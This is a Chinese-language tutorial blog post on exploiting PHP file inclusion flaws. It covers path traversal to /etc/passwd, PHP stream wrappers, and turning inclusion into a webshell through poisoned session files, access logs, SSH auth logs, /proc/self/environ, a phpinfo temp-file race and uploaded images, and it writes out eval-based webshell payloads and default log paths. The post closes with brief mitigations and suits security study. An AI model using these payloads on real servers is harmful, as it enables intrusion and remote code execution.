PHP檔案包含小總結

wwwhj518vip16228719999發表於2021-05-06

1.1.本地復現

  1. 當時發現url中有一個引數file=/home/task.php,靈機一動,把/home/task.php替換成了../../../../../../etc/passwd

    圖片

  2. 接著傳送帶有php程式碼的請求,先phpinfo試一試。

    圖片

  3. 接著就是包含日誌了,感覺馬上就要起飛了,結果很突然,no such file了,又換了幾個路徑,還是這樣。

    圖片

  4. 沒辦法只是試試包含一下配置檔案,結果….一樣。

    圖片

  5. 這可咋辦,眼瞅著就要getshell了,沒路徑啊,突然想到還有一個ssh log可以嘗試包含一下,立刻來了精神頭,噼裡啪啦一頓敲,食指放在Enter鍵上,猶豫不決,豁出去了!只見我眼睛一閉,重重按下回車,當我慢慢睜開眼時,欣喜若狂,終於沒有no such file 了

    圖片

  6. 接下來就很簡單了直接ssh連線:

ssh '<?=eval($_REQUEST[1])?>'@remotehost

圖片

圖片

2.檔案包含小知識

2.1.包含函式

1、PHP共有4個與檔案包含相關的函式:

include

require

include_once

require_once

2、Include與include_once的區別:

(1)Include:會將指定的檔案載入並執行裡面的程式;重複引用的情況下載入多次。

例如:

圖片

這裡include兩次1.php檔案,所以就會包含1.php兩次。

(2)Include_once:會將指定的檔案載入並執行裡面的程式;此行為和include語句類似,唯一區別是如果該檔案中已經被包含過,則不會再次包含。

例如:

圖片

這裡include_once了兩次1.php檔案,但只會包含1.php一次。

(3)require和requireonce的用途與上面兩個一樣,但區別就是require和requireonce會載入頁面最開始執行。Include和include_once會按程式碼順序執行。

2.2.支援的協議和封裝協議

File:// ——訪問本地檔案系統

http(s):// ——訪問HTTP(s)網址

ftp:// ——訪問FTP(s) URLs

php:// ——訪問各個輸入/輸出流(I/O streams)

zlib:// ——壓縮流

data:// ——資料(RFC 2397)

glob:// ——查詢匹配的檔案路徑模式

phar:// ——PHP歸檔

ssh2:// ——Secure Shell 2

rar:// ——RAR

ogg:// ——音訊流

expect:// ——處理互動式的流

2.3.常用偽協議講解:

1. file://

(1)這個協議可以展現本地檔案系統,預設目錄是當前的工作目錄。

(2)例如:file:///etc/passwd、file://key.txt

2. php://

(1) php://input是個可以訪問請求的原始資料的只讀流,可以訪問請求的原始資料的只讀流,將post請求中的資料作為php程式碼執行。

(2) php://filter是一種元封裝器,設計用於資料流開啟時的篩選過濾應用。

圖片

3、phar://

(1)phar://資料流包裝器自PHP5.3.0起開始有效

(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt

phar://1.zip/phpinfo.txt

2.4.偽協議利用方式小總結:

圖片

3.1.Getshell之session

條件:session檔案路徑已知,且session檔案中內容部分可控。

獲取session檔案路徑:

1、session檔案的儲存路徑可以在phpinfo的session.save_path看到。

圖片

2、預設路徑:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

session的檔名格式為sess_[phpsessid]。而phpsessid在傳送的請求的cookie欄位中可以看到。

圖片

利用:

1.要包含並利用的話,需要能控制部分sesssion檔案的內容。可以先包含進session檔案,觀察裡面的內容,然後根據裡面的欄位來發現可控的變數,從而利用變數來寫入payload,並之後再次包含從而執行php程式碼。

2.例如現在有一個session.php可控使用者會話資訊值:

圖片

3.可以看到這個session.php檔案中的使用者會話資訊username的值是使用者可控制的,那我們就可以傳入惡意程式碼進行攻擊利用。

圖片

4.將惡意程式碼傳入以後,接下來就要利用檔案包含漏洞去包含這個惡意程式碼。

圖片

5.從返回結果來看,我們的payload和惡意程式碼已經正常解析和執行。

3.2.Getshell之日誌

3.2.1.訪問日誌

條件:需要知道伺服器日誌的儲存路徑,且日誌檔案可讀。

日誌儲存預設路徑:

1.apache+Linux日誌預設路徑:/etc/httpd/logs/accesslog或/var/log/httpd/accesslog

2.apache+win2003日誌預設路徑:D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log

3.IIS6.0+win2003預設日誌檔案:C:\WINDOWS\system32\Logfiles

4.IIS7.0+win2003 預設日誌檔案:%SystemDrive%\inetpub\logs\LogFiles

5.nginx 日誌檔案:日誌檔案在使用者安裝目錄logs目錄下,假設安裝路徑為/usr/local/nginx,那日誌目錄就是在/usr/local/nginx/logs下面

利用:

1.多數情況,web伺服器會將請求寫入到日誌檔案中,比如說apache。在使用者發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。預設情況下,日誌儲存路徑在/etc/httpd/logs/下。

2.但如果是直接發起請求,會導致一些符號被編碼使得包含無法正確解析。可以使用burp截包後修改。

圖片

3.正常的php程式碼已經寫入了 /etc/httpd/logs/access.log。然後包含即可執行程式碼。

圖片

4.但有的時候,log的存放地址會被更改。這個時候可以通過讀取相應的配置檔案後,再進行包含。

中介軟體預設配置檔案存放路徑:

1.apache+linux 預設配置檔案

    /etc/httpd/conf/httpd.conf或/etc/init.d/httpd

2. IIS6.0+win2003 配置檔案

    C:/Windows/system32/inetsrv/metabase.xml

3. IIS7.0+WIN 配置檔案

    C:\Windows\System32\inetsrv\config\applicationHost.config

3.2.2.SSH log

條件:需要知道ssh-log的位置,且可讀。

ssh日誌預設路徑:

1./var/log/auth.log

2./var/log/secure

利用:

1.用ssh連線:

ssh '<?php phpinfo(); ?>'@remotehost

之後會提示輸入密碼,隨便輸入就可以。

圖片

2.然後利用檔案包含,包含日誌檔案:

圖片

3.3.Getshell之environ

條件:

  1. php以cgi方式執行,這樣environ才會保持UA頭。

  2. environ檔案儲存位置已知,且有許可權訪問environ檔案。

environ檔案預設位置:

proc/self/environ

利用:

1.proc/self/environ中會儲存user-agent頭。如果在user-agent中插入php程式碼,則php程式碼會被寫入到environ中。之後再包含它,即可。

2.例如我們現在訪問一個網站,使用burpsuite抓包,將惡意程式碼插入到user-agent中。

圖片

3.利用檔案包含漏洞去包含proc/self/environ,成功執行php程式碼。

圖片

3.4.Getshell之利用phpinfo

條件:存在phpinfo頁面並且存在檔案包含漏洞

圖片

原理:

  1. 當我們給PHP傳送POST資料包時,如果資料包裡包含檔案區塊,PHP就會將檔案儲存成一個臨時檔案,路徑通常為:/tmp/php[6個隨機字元],這個臨時檔案,在請求結束後就會被刪除。

  2. 因為phpinfo頁面會將請求上下文中的所有變數打出來,所以我們如果向phpinfo頁面傳送包含檔案區塊的資料包,就可以在返回包裡找到臨時檔名,也就是$_FILES變數中的內容。

利用:

  1. 首先我們使用vulhub的指令碼(https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py),他可以實現包含臨時檔案,而這個臨時檔案的內容是:\<?php fileputcontents('/tmp/p','\<?=eval(\$_REQUEST[1])?>‘)?>。成功包含這個檔案後就會生成新的檔案/tmp/p,這個檔案就會永久的留在目標機器上。

    圖片

  2. 寫入成功以後,我們利用檔案包含來執行任意命令。

圖片

原理:

那麼為啥vulhub的指令碼是如何做到在臨時指令碼檔案刪除前去包含的呢,其實就是用到了條件競爭,具體流程大致如下:

  1. 首先傳送包含webshell的資料包給phpinfo頁面,並用大量的垃圾資料將header和get等位置填滿。

  2. 因phpinfo頁面會將所有資料列印出來,第一個步驟中的垃圾資料就會將phpinfo頁面撐的非常大。而php預設輸出緩衝區大小為4096,也可以理解為php每次返回4096個位元組給socket連線。

  3. 所以,這裡直接操作原生socket,每次讀取4096個位元組。只要我們讀取到位元組裡包含臨時檔名,就立刻傳送檔案包含漏洞利用的資料包。因為第一個資料包的socket連線沒有結束,所以臨時檔案還沒有刪除,我們就可以檔案包含成功。

3.5.Getshell之上傳檔案

條件:有上傳點,知道上傳上去的檔名和存放目錄。

利用:

  1. 這裡用一個靶場簡單演示一下,找個檔案上傳點,上傳一個帶有php惡意程式碼的圖片。

圖片

  1. 我們現在已知檔名稱和路徑,可以利用檔案包含漏洞去包含這個圖片,就可以成功執行php程式碼了。

圖片

1、在很多場景中都需要去包含web目錄之外的檔案,如果php配置了open_basedir,則會包含失敗。

2、對可以包含的檔案進行限制,可以採用白名單的方式,或設定可以包含的目錄。

3、對危險字元進行過濾。

4、儘量不使用動態包含等等

本作品採用《CC 協議》,轉載必須註明作者和本文連結

相關文章